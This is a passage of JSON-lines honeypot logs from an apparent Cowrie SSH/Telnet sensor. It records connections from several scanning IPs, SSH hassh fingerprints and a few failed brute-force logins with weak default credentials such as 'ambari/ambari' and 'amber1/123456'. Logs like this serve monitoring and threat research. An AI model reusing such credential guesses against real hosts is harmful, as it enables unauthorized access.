{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:48:11.729543Z","src_ip":"159.203.92.129","session":"bcbcd4fa99fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ambari","password":"ambari","message":"login attempt [ambari/ambari] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:48:11.739205Z","src_ip":"159.203.92.129","session":"bcbcd4fa99fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:48:12.744750Z","src_ip":"159.203.92.129","session":"bcbcd4fa99fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.248.46.74","src_port":53560,"dst_ip":"159.203.135.109","dst_port":23,"session":"855ee8823bc2","protocol":"telnet","message":"New connection: 104.248.46.74:53560 (159.203.135.109:23) [session: 855ee8823bc2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:48:15.890010Z"}
{"eventid":"cowrie.session.closed","duration":34.3076286315918,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:48:21.274797Z","src_ip":"104.248.46.74","session":"ec5c7e1f681f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":50780,"dst_ip":"10.17.0.5","dst_port":23,"session":"280193949376","protocol":"telnet","message":"New connection: 162.253.42.116:50780 (10.17.0.5:23) [session: 280193949376]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:48:33.992307Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":51346,"dst_ip":"10.17.0.5","dst_port":23,"session":"0adc717a4f62","protocol":"telnet","message":"New connection: 162.253.42.116:51346 (10.17.0.5:23) [session: 0adc717a4f62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:48:34.419468Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.82.116.131","src_port":35768,"dst_ip":"159.203.135.109","dst_port":23,"session":"3705bef8bccc","protocol":"telnet","message":"New connection: 208.82.116.131:35768 (159.203.135.109:23) [session: 3705bef8bccc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:48:35.966298Z"}
{"eventid":"cowrie.session.closed","duration":40.80755066871643,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:48:36.408688Z","src_ip":"104.248.46.74","session":"418b018755db","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.59259033203125,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:48:48.482478Z","src_ip":"104.248.46.74","session":"855ee8823bc2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":37756,"dst_ip":"159.203.135.109","dst_port":22,"session":"4b8f3f35ae9f","protocol":"ssh","message":"New connection: 159.203.92.129:37756 (159.203.135.109:22) [session: 4b8f3f35ae9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:48:56.351813Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:48:56.356571Z","src_ip":"159.203.92.129","session":"4b8f3f35ae9f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:48:56.359902Z","src_ip":"159.203.92.129","session":"4b8f3f35ae9f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amber1","password":"123","message":"login attempt [amber1/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:48:56.369683Z","src_ip":"159.203.92.129","session":"4b8f3f35ae9f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":46838,"dst_ip":"10.17.0.5","dst_port":23,"session":"0f9c2221ba8c","protocol":"telnet","message":"New connection: 162.253.42.116:46838 (10.17.0.5:23) [session: 0f9c2221ba8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:48:56.635401Z"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:48:57.375542Z","src_ip":"159.203.92.129","session":"4b8f3f35ae9f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"208.82.116.131","src_port":47196,"dst_ip":"159.203.135.109","dst_port":23,"session":"ce07a137f922","protocol":"telnet","message":"New connection: 208.82.116.131:47196 (159.203.135.109:23) [session: ce07a137f922]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:49:02.347361Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.82.116.131","src_port":47256,"dst_ip":"159.203.135.109","dst_port":23,"session":"0307e63eb011","protocol":"telnet","message":"New connection: 208.82.116.131:47256 (159.203.135.109:23) [session: 0307e63eb011]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:49:02.484478Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.82.116.131","src_port":48732,"dst_ip":"159.203.135.109","dst_port":23,"session":"9262842cef58","protocol":"telnet","message":"New connection: 208.82.116.131:48732 (159.203.135.109:23) [session: 9262842cef58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:49:05.897561Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.82.116.131","src_port":48746,"dst_ip":"159.203.135.109","dst_port":23,"session":"895bbb3edc17","protocol":"telnet","message":"New connection: 208.82.116.131:48746 (159.203.135.109:23) [session: 895bbb3edc17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:49:05.926754Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.82.116.131","src_port":48730,"dst_ip":"159.203.135.109","dst_port":23,"session":"049443184bb4","protocol":"telnet","message":"New connection: 208.82.116.131:48730 (159.203.135.109:23) [session: 049443184bb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:49:06.088519Z"}
{"eventid":"cowrie.session.closed","duration":33.72218108177185,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:49:07.714376Z","src_ip":"162.253.42.116","session":"280193949376","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.32098841667175,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:49:09.740359Z","src_ip":"162.253.42.116","session":"0adc717a4f62","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":39978,"dst_ip":"10.17.0.5","dst_port":23,"session":"f7a282286e32","protocol":"telnet","message":"New connection: 162.253.42.116:39978 (10.17.0.5:23) [session: f7a282286e32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:49:11.714994Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.248.46.74","src_port":37026,"dst_ip":"159.203.135.109","dst_port":23,"session":"0674520ee1d1","protocol":"telnet","message":"New connection: 104.248.46.74:37026 (159.203.135.109:23) [session: 0674520ee1d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:49:12.020207Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":43392,"dst_ip":"10.17.0.5","dst_port":23,"session":"0f0a841ecc49","protocol":"telnet","message":"New connection: 162.253.42.116:43392 (10.17.0.5:23) [session: 0f0a841ecc49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:49:17.740917Z"}
{"eventid":"cowrie.session.closed","duration":42.49363708496094,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:49:18.459823Z","src_ip":"208.82.116.131","session":"3705bef8bccc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.99114680290222,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:49:29.626358Z","src_ip":"162.253.42.116","session":"0f9c2221ba8c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.248.46.74","src_port":41114,"dst_ip":"159.203.135.109","dst_port":23,"session":"1eb66c9956d1","protocol":"telnet","message":"New connection: 104.248.46.74:41114 (159.203.135.109:23) [session: 1eb66c9956d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:49:30.186035Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.248.46.74","src_port":41842,"dst_ip":"159.203.135.109","dst_port":23,"session":"ad02ee293863","protocol":"telnet","message":"New connection: 104.248.46.74:41842 (159.203.135.109:23) [session: ad02ee293863]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:49:33.039475Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":57592,"dst_ip":"159.203.135.109","dst_port":22,"session":"1c315d8c607e","protocol":"ssh","message":"New connection: 159.203.92.129:57592 (159.203.135.109:22) [session: 1c315d8c607e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:49:39.379199Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:49:39.383710Z","src_ip":"159.203.92.129","session":"1c315d8c607e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:49:39.388187Z","src_ip":"159.203.92.129","session":"1c315d8c607e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amber1","password":"123456","message":"login attempt [amber1/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:49:39.398154Z","src_ip":"159.203.92.129","session":"1c315d8c607e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:49:40.403518Z","src_ip":"159.203.92.129","session":"1c315d8c607e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.78323817253113,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:49:44.803316Z","src_ip":"104.248.46.74","session":"0674520ee1d1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.49844694137573,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:49:45.213297Z","src_ip":"162.253.42.116","session":"f7a282286e32","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.4233877658844,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:49:45.770614Z","src_ip":"208.82.116.131","session":"ce07a137f922","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.70549273490906,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:49:48.189786Z","src_ip":"208.82.116.131","session":"0307e63eb011","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.14976525306702,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:49:50.047189Z","src_ip":"208.82.116.131","session":"9262842cef58","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.20329761505127,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:49:50.944124Z","src_ip":"162.253.42.116","session":"0f0a841ecc49","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.621062994003296,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:49:51.709437Z","src_ip":"208.82.116.131","session":"049443184bb4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.81762170791626,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:49:51.744247Z","src_ip":"208.82.116.131","session":"895bbb3edc17","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":55180,"dst_ip":"10.17.0.5","dst_port":23,"session":"1ed7242572c2","protocol":"telnet","message":"New connection: 162.253.42.116:55180 (10.17.0.5:23) [session: 1ed7242572c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:49:54.111902Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":56522,"dst_ip":"10.17.0.5","dst_port":23,"session":"7ecb607f4541","protocol":"telnet","message":"New connection: 162.253.42.116:56522 (10.17.0.5:23) [session: 7ecb607f4541]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:49:55.490842Z"}
{"eventid":"cowrie.session.closed","duration":120.00169086456299,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:49:57.134221Z","src_ip":"104.248.46.74","session":"f9304f43a22d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.248.46.74","src_port":48370,"dst_ip":"159.203.135.109","dst_port":23,"session":"3e3ed1e6c411","protocol":"telnet","message":"New connection: 104.248.46.74:48370 (159.203.135.109:23) [session: 3e3ed1e6c411]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:49:57.743325Z"}
{"eventid":"cowrie.session.closed","duration":33.13419580459595,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:50:06.173593Z","src_ip":"104.248.46.74","session":"ad02ee293863","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.82.116.131","src_port":48870,"dst_ip":"159.203.135.109","dst_port":23,"session":"4c4469fa52c6","protocol":"telnet","message":"New connection: 208.82.116.131:48870 (159.203.135.109:23) [session: 4c4469fa52c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:50:14.704098Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.82.116.131","src_port":48892,"dst_ip":"159.203.135.109","dst_port":23,"session":"cc3ee1e92d1a","protocol":"telnet","message":"New connection: 208.82.116.131:48892 (159.203.135.109:23) [session: cc3ee1e92d1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:50:14.761826Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.82.116.131","src_port":48988,"dst_ip":"159.203.135.109","dst_port":23,"session":"71ca73247ee8","protocol":"telnet","message":"New connection: 208.82.116.131:48988 (159.203.135.109:23) [session: 71ca73247ee8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:50:15.037435Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":50612,"dst_ip":"10.17.0.5","dst_port":23,"session":"7ade63088fa5","protocol":"telnet","message":"New connection: 162.253.42.116:50612 (10.17.0.5:23) [session: 7ade63088fa5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:50:17.703239Z"}
{"eventid":"cowrie.session.closed","duration":6.907252073287964,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:50:21.668951Z","src_ip":"208.82.116.131","session":"cc3ee1e92d1a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":54930,"dst_ip":"10.17.0.5","dst_port":23,"session":"05af5071b796","protocol":"telnet","message":"New connection: 162.253.42.116:54930 (10.17.0.5:23) [session: 05af5071b796]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:50:22.135477Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":46006,"dst_ip":"159.203.135.109","dst_port":22,"session":"2b9200948d68","protocol":"ssh","message":"New connection: 159.203.92.129:46006 (159.203.135.109:22) [session: 2b9200948d68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:50:22.847486Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:50:22.852921Z","src_ip":"159.203.92.129","session":"2b9200948d68","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 